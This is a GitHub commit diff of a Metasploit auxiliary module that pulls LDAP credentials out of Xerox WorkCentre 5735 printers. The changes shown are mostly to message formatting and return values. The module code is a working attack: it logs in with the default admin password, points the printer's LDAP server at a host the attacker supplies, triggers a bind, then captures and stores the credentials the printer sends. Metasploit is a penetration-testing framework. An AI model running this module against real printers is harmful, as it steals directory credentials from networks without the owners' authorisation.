Skip to content

Commit 470a067

Browse files
committed
Final changes
1 parent 9d56f02 commit 470a067

File tree

1 file changed

+33
-29
lines changed

1 file changed

+33
-29
lines changed

modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb

Lines changed: 33 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,8 @@
11
#
2-
# This module requires Metasploit: http//metasploit.com/download
2+
# This module requires Metasploit: http://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
5+
56
require 'rex/proto/http'
67
require 'msf/core'
78

@@ -12,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary
1213

1314
def initialize(info={})
1415
super(update_info(info,
15-
'Name' => 'Xerox workcentre 5735 LDAP service redential extractor',
16+
'Name' => 'Xerox Workcentre 5735 LDAP Service Redential Extractor',
1617
'Description' => %{
1718
This module extract the printers LDAP user and password from Xerox workcentre 5735.
1819
},
@@ -28,19 +29,19 @@ def initialize(info={})
2829
[
2930
OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', false]),
3031
OptString.new('PASSWORD', [true, 'Password to access administrative interface. Defaults to 1111', '1111']),
31-
OptInt.new('RPORT', [true, 'The target port on the remote printer. Defaults to 80', 80]),
32+
OptPort.new('RPORT', [true, 'The target port on the remote printer. Defaults to 80', 80]),
3233
OptInt.new('TIMEOUT', [true, 'Timeout for printer connection probe.', 20]),
3334
OptInt.new('TCPDELAY', [true, 'Number of seconds the tcp server will wait before termination.', 20]),
3435
OptString.new('NewLDAPServer', [true, 'The IP address of the LDAP server you want the printer to connect back to.'])
3536
], self.class)
3637
end
3738

3839
def run
39-
print_status("Attempting to extract LDAP username and password for the host at #{rhost}")
40+
print_status("#{peer} - Attempting to extract LDAP username and password...")
4041

4142
@auth_cookie = default_page
4243
if @auth_cookie.blank?
43-
print_status("Unable to get authentication cookie from #{rhost}")
44+
print_status("#{peer} - Unable to get authentication cookie from #{rhost}")
4445
return
4546
end
4647

@@ -55,10 +56,10 @@ def run
5556

5657
start_listener
5758
unless @data
58-
print_error('Failed to start listiner or the printer did not send us the creds. :(')
59+
print_error("#{peer} - Failed to start listiner or the printer did not send us the creds. :(")
5960
status = restore_ldap_server
6061
unless status
61-
print_error('Failed to restore old LDAP server. Please manually restore')
62+
print_error("#{peer} - Failed to restore old LDAP server. Please manually restore")
6263
end
6364
return
6465
end
@@ -69,25 +70,25 @@ def run
6970
ldap_binary_creds = @data.scan(/(\w+\\\w+).\s*(.+)/).flatten
7071
ldap_creds = "#{ldap_binary_creds[0]}:#{ldap_binary_creds[1]}"
7172

72-
#Woot we got creds so lets save them.#
73-
print_good("The following creds were capured: #{ldap_creds}")
73+
# Woot we got creds so lets save them.#
74+
print_good("#{peer} - The following creds were capured: #{ldap_creds}")
7475
loot_name = 'ldap.cp.creds'
7576
loot_type = 'text/plain'
7677
loot_filename = 'ldap-creds.text'
7778
loot_desc = 'LDAP Pass-back Harvester'
7879
p = store_loot(loot_name, loot_type, datastore['RHOST'], @data, loot_filename, loot_desc)
79-
print_status("Credentials saved in: #{p}")
80+
print_status("#{peer} - Credentials saved in: #{p}")
8081

8182
register_creds('ldap', rhost, @ldap_port, ldap_binary_creds[0], ldap_binary_creds[1])
8283
end
8384

8485
def default_page
85-
default_page = '/header.php?tab=status'
86+
page = '/header.php?tab=status'
8687
method = 'GET'
87-
res = make_request(default_page, method, '')
88+
res = make_request(page, method, '')
8889
if res.blank? || res.code != 200
89-
print_error("Failed to connect to #{rhost}. Please check the printers IP address.")
90-
return false
90+
print_error("#{peer} - Failed to connect to #{rhost}. Please check the printers IP address.")
91+
return ''
9192
end
9293
res.get_cookies
9394
end
@@ -108,8 +109,8 @@ def login
108109

109110
res = make_request(login_page, method, login_post_data)
110111
if res.blank? || res.code != 200
111-
print_error("Failed to login on #{rhost}. Please check the password for the Administrator account ")
112-
return false
112+
print_error("#{peer} - Failed to login. Please check the password for the Administrator account")
113+
return nil
113114
end
114115
res.code
115116
end
@@ -125,10 +126,10 @@ def ldap_server_info
125126
ldap_port_number = ldap_port_settings.scan(/valPrt_1\[2\] = (\d+)/).flatten
126127
@ldap_server = "#{ldap_server_ip[0]}.#{ldap_server_ip[1]}.#{ldap_server_ip[2]}.#{ldap_server_ip[3]}"
127128
@ldap_port = ldap_port_number[0]
128-
print_status("Found LDAP server: #{@ldap_server}")
129+
print_status("#{peer} - LDAP server: #{@ldap_server}")
129130
unless res.code == 200 || res.blank?
130-
print_error("Failed to get ldap data from #{rhost}.")
131-
return false
131+
print_error("#{peer} - Failed to get LDAP data.")
132+
return nil
132133
end
133134
res.code
134135
end
@@ -148,11 +149,11 @@ def update_ldap_server
148149
ldap_update_post *= '&'
149150
method = 'POST'
150151

151-
print_status("Updating LDAP server: #{datastore['NewLDAPServer']} and port: #{datastore['SRVPORT']}")
152+
print_status("#{peer} - Updating LDAP server: #{datastore['NewLDAPServer']} and port: #{datastore['SRVPORT']}")
152153
res = make_request(ldap_update_page, method, ldap_update_post)
153154
if res.blank? || res.code != 200
154-
print_error("Failed to update ldap server. Please check the host: #{rhost}")
155-
return false
155+
print_error("#{peer} - Failed to update LDAP server. Please check the host: #{rhost}")
156+
return nil
156157
end
157158
res.code
158159
end
@@ -183,7 +184,7 @@ def trigger_ldap_request
183184
ldap_trigger_post *= '&'
184185
method = 'POST'
185186

186-
print_status('Triggering LDAP reqeust')
187+
print_status("#{peer} - Triggering LDAP reqeust")
187188
res = make_request(ldap_trigger_page, method, ldap_trigger_post)
188189
res.code
189190
end
@@ -242,16 +243,18 @@ def restore_ldap_server
242243
ldap_restore_post *= '&'
243244
method = 'POST'
244245

245-
print_status("Restoring LDAP server: #{@ldap_server}")
246+
print_status("#{peer} - Restoring LDAP server: #{@ldap_server}")
246247
res = make_request(ldap_restore_page, method, ldap_restore_post)
247248
if res.blank? || res.code != 200
248-
print_error("Failed to restore LDAP server: #{@ldap_server}. Please fix manually")
249-
return false
249+
print_error("#{peer} - Failed to restore LDAP server: #{@ldap_server}. Please fix manually")
250+
return nil
250251
end
251252
res.code
252253
end
253254

254255
def make_request(page, method, post_data)
256+
res = nil
257+
255258
begin
256259
res = send_request_cgi(
257260
{
@@ -260,11 +263,12 @@ def make_request(page, method, post_data)
260263
'cookie' => @auth_cookie,
261264
'data' => post_data
262265
}, datastore['TIMEOUT'].to_i)
263-
return res
266+
264267
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
265-
print_error("#{rhost}:#{rport} - Connection failed.")
266-
return false
268+
print_error("#{peer} - Connection failed.")
267269
end
270+
271+
res
268272
end
269273

270274
def register_creds(service_name, remote_host, remote_port, username, password)

0 commit comments

Comments
 (0)